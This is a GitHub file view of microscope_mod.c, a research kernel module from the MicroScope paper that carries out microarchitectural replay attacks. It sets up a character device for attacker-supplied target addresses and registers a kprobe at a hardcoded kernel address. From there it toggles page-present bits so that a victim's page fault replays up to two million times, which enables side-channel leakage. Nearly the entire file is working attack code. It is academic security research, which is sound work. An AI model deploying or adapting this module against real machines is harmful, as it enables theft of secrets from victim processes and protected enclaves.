-
Notifications
You must be signed in to change notification settings - Fork 8
/
microscope_mod.c
332 lines (286 loc) · 9.21 KB
/
microscope_mod.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
/*
* Author: Dimitrios Skarlatos
* Contact: skarlat2@illinois.edu - http://skarlat2.web.engr.illinois.edu/
*
* The microscope_mod is a kernel module that can be used to perform microarchitectural
* replay attacks using page faults.
*
* More details in :
* MicroScope: Enabling Microarchitectural Replay Attacks.
* Dimitrios Skarlatos, Mengjia Yan, Bhargava Gopireddy, Read Sprabery, Josep Torrellas,
* and Christopher W. Fletcher. Proceedings of the 46th Intl. Symposium on Computer
* Architecture (ISCA), Phoenix, USA, June 2019.
*/
#include <asm/cacheflush.h>
#include <asm/io.h>
#include <asm/mmu_context.h>
#include <asm/pgalloc.h>
#include <asm/pgtable.h>
#include <asm/tlb.h>
#include <asm/tlbflush.h>
#include <asm/uaccess.h>
#include <linux/file.h>
#include <linux/fs.h>
#include <linux/hrtimer.h>
#include <linux/hugetlb.h>
#include <linux/interrupt.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/ktime.h>
#include <linux/memcontrol.h>
#include <linux/mm.h>
#include <linux/mman.h>
#include <linux/mmu_notifier.h>
#include <linux/module.h>
#include <linux/pagemap.h>
#include <linux/pid.h>
#include <linux/rmap.h>
#include <linux/sched.h>
#include <linux/string.h>
#include <linux/swap.h>
#include <linux/swapops.h>
#include <linux/syscalls.h>
#include <linux/timer.h>
#include "microscope_mod.h"
#include "util.h"
#define SUCCESS 0
#define DEVICE_NAME "microscope_mod"
#define BUF_LEN 80
// Retries is the number of computations we want to monitor
#define RETRIES 2000000
// number of replays to gain enough confidence in the result
#define CONFIDENCE 2
// Cache line step from each profiling address to the next
#define STEP 64
#define MAX_ADDR 100
// Profile retries after defines the number of steps we will perform
#define SCAN_RETRIES 48
MODULE_LICENSE("GPL v2");
static uint64_t fault_cnt = 0, fault_fault_cnt = 0;
static uint32_t set_nuke = 0, set_monitor = 0;
static uint32_t cur_nuke = 0;
static uint32_t switches = 0;
static struct kprobe kp;
static int Device_Open = 0;
struct attack_info the_info[MAX_ADDR];
struct attack_info *ptr_info;
extern pte_t *fault_pte;
static char Message[BUF_LEN];
static char *Message_Ptr;
/*
* device_open is invoked when the victim connects to the char device.
*/
static int device_open(struct inode *inode, struct file *file) {
if (Device_Open) {
return -EBUSY;
}
Device_Open++;
Message_Ptr = Message;
try_module_get(THIS_MODULE);
return SUCCESS;
}
/*
* device_release is invoked when the victim disconnects from the char device.
*/
static int device_release(struct inode *inode, struct file *file) {
Device_Open--;
module_put(THIS_MODULE);
return SUCCESS;
}
/*
* device_write identifies the requested write from the IOCTL and routes it to
* the proper function.
*/
static ssize_t device_write(struct file *file, const char __user *buffer, size_t length,
loff_t *offset, enum call_type type) {
int i = 0;
uint64_t address;
for (i = 0; i < length && i < BUF_LEN; i++) {
get_user(Message[i], buffer + i);
}
// printk(KERN_INFO "Message length %lu\n", length);
// printk(KERN_INFO "Message %s\n", Message);
Message_Ptr = Message;
kstrtou64(Message_Ptr, 0, &address);
// printk(KERN_INFO "Received Address %p\n", (void *)address);
switch (type) {
case NUKE_ADDR:
printk(KERN_INFO "Setting up nuke id %u -> addr %p\n", set_nuke, (void *)address);
setup_nuke_structs(&ptr_info[set_nuke], address);
set_nuke++;
break;
case MONITOR_ADDR:
printk(KERN_INFO "Setting up monitor id %u -> addr %p\n", set_nuke,
(void *)address);
setup_monitor_structs(&ptr_info[0], address, set_monitor);
set_monitor++;
break;
case PF:
pf_prep(&ptr_info[0], ptr_info[0].nuke_addr, set_monitor);
cur_nuke = 0;
fault_cnt = 0;
fault_fault_cnt = 0;
break;
default:
break;
}
return i;
}
/*
* handler_fault is invoked in the case of a nested page fault while we were
* executing the trampoline code (see post_handler).
* Usually this means that we tried to access an address we shouldn't. In this
* scenario we stop the attack gracefully. In normal operation fault-on-fault
* should not be triggered for poc_v0
*/
int handler_fault(struct kprobe *p, struct pt_regs *regs, int trapnr) {
fault_fault_cnt++;
printk(KERN_INFO "MicroScope_mod: Fult-on-Fault counter %llu, fault counter %llu\n",
fault_cnt, fault_fault_cnt);
if (fault_pte) {
*fault_pte = pte_set_flags(*fault_pte, _PAGE_PRESENT);
printk(KERN_INFO "MicroScope_mod: Fault-on-Fault resetting present bit %llu\n",
fault_cnt);
}
set_attack_value(NULL, 0);
printk(KERN_INFO "MicroScope_mod: Fault-on-Fault Attack failed %llu\n", fault_cnt);
// we let the kprobe handler to handle the page fault
return 0;
}
/*
* pre_handler is invoked before the notify_attack (memory.c)
*/
int pre_handler(struct kprobe *p, struct pt_regs *regs) { return 0; }
/*
* post_handler is invoked after a notify_attack (memory.c) has finished.
* At this point we know that a minor page fault on the replay handle was caused
* and we proceed with the next steps of the attack. The current logic is used to simply
* replay a single page fault for #RETRIES
*/
void post_handler(struct kprobe *p, struct pt_regs *regs, unsigned long flags) {
uint64_t old_time = 0, wait_time = 0;
uint64_t v0 = 0, v1 = 0;
if (fault_pte) {
v0 = pte_pfn(*fault_pte);
v1 = pte_pfn(*(ptr_info[cur_nuke].nuke_ptep));
// double checking that this is the correct page fault
if (v0 == v1) {
// we reached the max number of retries we are done with the attack
if (fault_cnt == RETRIES) {
printk(KERN_INFO "MicroScope_mod: Reached maximum retries %u\n", RETRIES);
if (fault_pte) {
*fault_pte = pte_set_flags(*fault_pte, _PAGE_PRESENT);
printk(KERN_INFO "MicroScope_mod: Resetting present bit %u\n", switches);
}
set_attack_value(NULL, 0);
printk(KERN_INFO "MicroScope_mod: Attack is done %u\n", switches);
}
// the attack is still underway
else {
// we are still under the limit of retries
if (fault_cnt < RETRIES) {
if (fault_pte) {
// padding
old_time = 0;
wait_time = 0;
while (wait_time < 10000) {
old_time = rdtsc();
wait_time += rdtsc() - old_time;
}
// printk(KERN_INFO "MicroScope_mod: replay %llu\n", fault_cnt);
pf_redo(&ptr_info[0], ptr_info[0].nuke_addr);
// printk(KERN_INFO "MicroScope_mod: renuked %llu\n", fault_cnt);
// padding
old_time = 0;
wait_time = 0;
while (wait_time < 10000) {
old_time = rdtsc();
wait_time += rdtsc() - old_time;
}
}
}
}
fault_cnt++;
}
}
}
/*
* device_ioctl services IOCTL requests to this character device
* MSG - Message passing through the char device
* NUKE_ADDR - Passing the address to be nuke, the replay handle
* MONITOR_ADDR - Passing the base monitor address, we will search for the
* actual one
* PREP_PF - Setting up the replay mechanism through minor page faults
*/
long device_ioctl(struct file *file, unsigned int ioctl_num, unsigned long ioctl_param) {
int i = 0;
char *temp;
char ch;
printk(KERN_INFO "IOCTL param %u\n", ioctl_num);
temp = (char *)ioctl_param;
get_user(ch, temp);
for (i = 0; ch && i < BUF_LEN; i++, temp++) {
get_user(ch, temp);
}
switch (ioctl_num) {
case IOCTL_SET_MSG:
device_write(file, (char *)ioctl_param, i, 0, MSG);
break;
case IOCTL_SET_NUKE_ADDR:
device_write(file, (char *)ioctl_param, i, 0, NUKE_ADDR);
break;
case IOCTL_SET_MONITOR_ADDR:
device_write(file, (char *)ioctl_param, i, 0, MONITOR_ADDR);
break;
case IOCTL_PREP_PF:
device_write(file, (char *)ioctl_param, i, 0, PF);
break;
default:
break;
}
return SUCCESS;
}
/*
* Operations Struct - Define the supported operations
*/
struct file_operations Fops = {
.unlocked_ioctl = device_ioctl,
.open = device_open,
.release = device_release,
};
/*
* init_mudule registers the device and the trampoline code
*/
int init_module() {
int ret_val;
ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &Fops);
if (ret_val < 0) {
printk(KERN_ALERT "Registering the device failed with %d\n", ret_val);
return ret_val;
}
ptr_info = &the_info[0];
ptr_info->error = 0;
kp.pre_handler = pre_handler;
kp.post_handler = post_handler;
kp.fault_handler = handler_fault;
// need to find notify attack through the kernel symbols
kp.addr = (kprobe_opcode_t *)0xffffffff811be710;
ret_val = register_kprobe(&kp);
if (ret_val < 0) {
printk(KERN_ALERT "Registering probe failed with %d\n", ret_val);
return ret_val;
}
set_print_msg_attack(0);
printk(KERN_INFO "If a channel does not exist run: mknod %s c %d 0\n", DEVICE_FILE_NAME,
MAJOR_NUM);
return 0;
}
/*
* cleanup_module unregisters the device, the probes, and disables the attack
*/
void cleanup_module() {
unregister_chrdev(MAJOR_NUM, DEVICE_NAME);
unregister_kprobe(&kp);
set_print_msg_attack(0);
set_attack_value(NULL, 0);
}